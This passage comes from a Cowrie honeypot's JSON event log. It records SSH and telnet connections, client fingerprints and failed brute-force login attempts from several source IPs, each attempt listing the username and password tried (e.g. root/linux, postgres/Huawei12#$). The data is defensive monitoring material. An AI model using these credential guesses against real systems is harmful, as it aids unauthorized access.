af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.618673Z","src_ip":"57.128.222.14","session":"3d167e3048d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456789","message":"login attempt [minecraft/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:55.089365Z","src_ip":"57.128.222.14","session":"3d167e3048d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:55.292406Z","src_ip":"95.215.8.165","session":"be371affa9b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Huawei12#$","message":"login attempt [postgres/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:55.378026Z","src_ip":"167.172.73.9","session":"f96db87e8713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:55.659865Z","src_ip":"176.65.132.129","session":"6258589ba5cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:56.202292Z","src_ip":"57.128.222.14","session":"3d167e3048d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:56.625335Z","src_ip":"167.172.73.9","session":"f96db87e8713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57620,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c4f9a169ad5","protocol":"ssh","message":"New connection: 176.65.132.129:57620 (10.17.0.5:22) [session: 1c4f9a169ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:57.550418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:57.554878Z","src_ip":"176.65.132.129","session":"1c4f9a169ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:57.636297Z","src_ip":"176.65.132.129","session":"1c4f9a169ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:58.001345Z","src_ip":"176.65.132.129","session":"1c4f9a169ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.210286617279053,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:59.077278Z","src_ip":"64.227.82.147","session":"c900bb77f73b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:59.085568Z","src_ip":"176.65.132.129","session":"1c4f9a169ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":38944,"dst_ip":"10.17.0.5","dst_port":22,"session":"a164aeb0c10b","protocol":"ssh","message":"New connection: 199.195.254.215:38944 (10.17.0.5:22) [session: a164aeb0c10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:59.835584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:59.844079Z","src_ip":"199.195.254.215","session":"a164aeb0c10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:00.487113Z","src_ip":"199.195.254.215","session":"a164aeb0c10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57626,"dst_ip":"10.17.0.5","dst_port":22,"session":"7713e5cf7e1f","protocol":"ssh","message":"New connection: 176.65.132.129:57626 (10.17.0.5:22) [session: 7713e5cf7e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:01.084182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:01.088778Z","src_ip":"176.65.132.129","session":"7713e5cf7e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:01.171009Z","src_ip":"176.65.132.129","session":"7713e5cf7e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:01.416217Z","src_ip":"176.65.132.129","session":"7713e5cf7e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:02.501187Z","src_ip":"176.65.132.129","session":"7713e5cf7e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.114652156829834,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:02.820273Z","src_ip":"45.81.23.16","session":"7bf70cce6190","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gitolite3","password":"gitolite3","message":"login attempt [gitolite3/gitolite3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:03.043936Z","src_ip":"199.195.254.215","session":"a164aeb0c10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57638,"dst_ip":"10.17.0.5","dst_port":22,"session":"7607dec9b53f","protocol":"ssh","message":"New connection: 176.65.132.129:57638 (10.17.0.5:22) [session: 7607dec9b53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:04.511185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:04.578765Z","src_ip":"176.65.132.129","session":"7607dec9b53f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:04.652048Z","src_ip":"199.195.254.215","session":"a164aeb0c10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:04.660780Z","src_ip":"176.65.132.129","session":"7607dec9b53f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:04.906119Z","src_ip":"176.65.132.129","session":"7607dec9b53f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.06999063491821,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:04.991032Z","src_ip":"64.227.82.147","session":"0b2464d1386a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:06.203779Z","src_ip":"176.65.132.129","session":"7607dec9b53f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":39018,"dst_ip":"159.203.135.109","dst_port":22,"session":"53f8a1a05f86","protocol":"ssh","message":"New connection: 168.167.228.74:39018 (159.203.135.109:22) [session: 53f8a1a05f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:06.835670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:06.839791Z","src_ip":"168.167.228.74","session":"53f8a1a05f86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:07.088439Z","src_ip":"168.167.228.74","session":"53f8a1a05f86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59342,"dst_ip":"10.17.0.5","dst_port":22,"session":"f75a5d5b5b6a","protocol":"ssh","message":"New connection: 176.65.132.129:59342 (10.17.0.5:22) [session: f75a5d5b5b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:07.850507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:07.855300Z","src_ip":"176.65.132.129","session":"f75a5d5b5b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:07.940019Z","src_ip":"176.65.132.129","session":"f75a5d5b5b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:08.186695Z","src_ip":"176.65.132.129","session":"f75a5d5b5b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hj@123456","message":"login attempt [root/Hj@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:08.211776Z","src_ip":"168.167.228.74","session":"53f8a1a05f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:09.271993Z","src_ip":"176.65.132.129","session":"f75a5d5b5b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:09.462900Z","src_ip":"168.167.228.74","session":"53f8a1a05f86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59344,"dst_ip":"10.17.0.5","dst_port":22,"session":"49ffb680e6b3","protocol":"ssh","message":"New connection: 176.65.132.129:59344 (10.17.0.5:22) [session: 49ffb680e6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:11.292518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:11.346709Z","src_ip":"176.65.132.129","session":"49ffb680e6b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:11.513536Z","src_ip":"176.65.132.129","session":"49ffb680e6b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:11.771974Z","src_ip":"176.65.132.129","session":"49ffb680e6b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:12.860385Z","src_ip":"176.65.132.129","session":"49ffb680e6b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59354,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e36037e15cf","protocol":"ssh","message":"New connection: 176.65.132.129:59354 (10.17.0.5:22) [session: 6e36037e15cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:14.663710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:14.669187Z","src_ip":"176.65.132.129","session":"6e36037e15cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305